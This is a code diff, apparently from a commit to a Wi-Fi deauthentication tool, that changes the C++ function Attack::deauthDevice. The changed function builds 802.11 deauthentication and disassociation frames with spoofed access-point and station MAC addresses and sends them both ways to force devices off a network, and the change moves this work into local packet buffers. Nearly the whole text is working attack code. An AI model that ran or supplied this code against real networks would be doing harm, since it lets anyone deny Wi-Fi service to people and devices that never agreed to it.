@@ -285,46 +285,54 @@ bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_
285285
286286 // build deauth packet
287287 packetSize = sizeof (deauthPacket);
288- memcpy (&deauthPacket[4 ], stMac, 6 );
289- memcpy (&deauthPacket[10 ], apMac, 6 );
290- memcpy (&deauthPacket[16 ], apMac, 6 );
291- deauthPacket[24 ] = reason;
288+
289+ uint8_t deauthpkt[packetSize];
290+
291+ memcpy (deauthpkt, deauthPacket, packetSize);
292+
293+ memcpy (&deauthpkt[4 ], stMac, 6 );
294+ memcpy (&deauthpkt[10 ], apMac, 6 );
295+ memcpy (&deauthpkt[16 ], apMac, 6 );
296+ deauthpkt[24 ] = reason;
292297
293298 // send deauth frame
294- deauthPacket [0 ] = 0xc0 ;
299+ deauthpkt [0 ] = 0xc0 ;
295300
296- if (sendPacket (deauthPacket , packetSize, ch, 1 )) {
301+ if (sendPacket (deauthpkt , packetSize, ch, 1 )) {
297302 success = true ;
298303 deauth.packetCounter ++;
299304 }
300305
301306 // send disassociate frame
302- deauthPacket[0 ] = 0xa0 ;
307+ uint8_t disassocpkt[packetSize];
308+ memcpy (disassocpkt, deauthpkt, packetSize);
309+
310+ disassocpkt[0 ] = 0xa0 ;
303311
304- if (sendPacket (deauthPacket , packetSize, ch, 1 )) {
312+ if (sendPacket (disassocpkt , packetSize, ch, 1 )) {
305313 success = true ;
306314 deauth.packetCounter ++;
307315 }
308316
309317 // send another packet, this time from the station to the accesspoint
310318 if (!macBroadcast (stMac)) { // but only if the packet isn't a broadcast
311319 // build deauth packet
312- memcpy (&deauthPacket [4 ], apMac, 6 );
313- memcpy (&deauthPacket [10 ], stMac, 6 );
314- memcpy (&deauthPacket [16 ], stMac, 6 );
320+ memcpy (&disassocpkt [4 ], apMac, 6 );
321+ memcpy (&disassocpkt [10 ], stMac, 6 );
322+ memcpy (&disassocpkt [16 ], stMac, 6 );
315323
316324 // send deauth frame
317- deauthPacket [0 ] = 0xc0 ;
325+ disassocpkt [0 ] = 0xc0 ;
318326
319- if (sendPacket (deauthPacket , packetSize, ch, 1 )) {
327+ if (sendPacket (disassocpkt , packetSize, ch, 1 )) {
320328 success = true ;
321329 deauth.packetCounter ++;
322330 }
323331
324332 // send disassociate frame
325- deauthPacket [0 ] = 0xa0 ;
333+ disassocpkt [0 ] = 0xa0 ;
326334
327- if (sendPacket (deauthPacket , packetSize, ch, 1 )) {
335+ if (sendPacket (disassocpkt , packetSize, ch, 1 )) {
328336 success = true ;
329337 deauth.packetCounter ++;
330338 }
0 commit comments